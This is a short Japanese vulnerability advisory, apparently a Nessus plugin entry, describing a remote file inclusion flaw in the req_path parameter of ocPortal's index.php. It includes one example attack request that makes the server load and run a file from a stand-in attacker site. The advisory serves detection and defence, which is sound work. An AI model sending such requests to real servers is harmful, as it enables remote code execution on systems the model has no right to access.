リモートホストは、PHPで書かれたコンテンツ管理システムであるocPortalを実行しています。

このソフトウェアのリモートバージョンにバグがあるため、攻撃者が「index.php」ファイルのファイルインクルージョンのバグを利用して、リモートホストで任意のコマンドを実行する可能性があります。

攻撃者は次のものをリクエストして、任意のコマンドを実行する可能性があります：

  http://www.example.com/index.php?req_path=http://[evilsite]/

これにより、リモートスクリプトにリモートサイトの「funcs.php」ファイルが含められ、実行されます。

検出

ocPortal index.php req_pathパラメーターのリモートファイルインクルード

high Nessus プラグイン ID 15468

変更ログが見つかりません